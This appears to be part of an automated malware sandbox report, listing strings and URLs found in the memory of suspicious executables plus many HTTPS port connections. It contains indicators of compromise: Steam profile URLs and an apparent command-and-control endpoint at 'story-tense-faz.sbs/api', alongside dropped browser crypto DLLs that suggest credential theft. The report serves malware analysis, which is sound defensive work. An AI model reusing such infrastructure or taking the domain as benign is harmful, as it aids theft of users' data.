Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://story-tense-faz.sbs/
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://story-tense-faz.sbs/api
Source: ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://story-tense-faz.sbs:443/api
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://support.mozilla.org
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://tidal.com/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://twitter.com/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://web.telegram.org/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://web.whatsapp.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.deezer.com/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, HCAEHDHD.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.16.dr, content_new.js.16.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: deced33b-89a5-480e-a1ec-893710fda5f9.tmp.17.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_319.12.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_319.12.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_319.12.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.last.fm/
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.messenger.com
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1874484736.0000000000387000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000002.1874484736.0000000000387000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1774502453.0000000023A1C000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ion:
Source: BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1774502453.0000000023A1C000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.1874484736.00000000002A4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.office.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.tiktok.com/
Source: ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://www.youtube.com
Source: 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 54619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 54562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 54494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 54505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 54537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 54572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 54620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
